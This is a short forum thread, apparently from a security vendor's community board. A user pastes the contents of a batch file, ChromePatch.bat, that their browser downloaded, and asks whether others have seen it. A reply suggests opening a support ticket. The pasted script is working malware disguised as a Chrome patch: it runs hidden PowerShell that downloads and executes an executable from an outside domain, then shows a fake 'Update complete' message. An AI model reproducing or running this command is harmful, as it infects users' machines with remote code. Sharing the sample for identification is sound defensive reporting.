Skip to main content
Has anyone seen their Chrome browser get hi-jacked and automatically download a batch file: ChromePatch.bat?

Below is the information withing the batch file - Webroot does not recognize it as a threat.

 @echo off

start /min "" PowerShell -WindowStyle Hidden $d=$env:temp+'mess.exe';(New-Object System.Net.WebClient).DownloadFile('http://soophsakeena.com/7841154285236/146119670765009/patch.exe',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information);
Hi trig1q

 

Welcome to the Community Forums.

 

If I were you I would Open a Support Ticket to notify the Support team/Threat Researchers and let the Professionals take a look at this for you.

 

Regards, Baldrick

Reply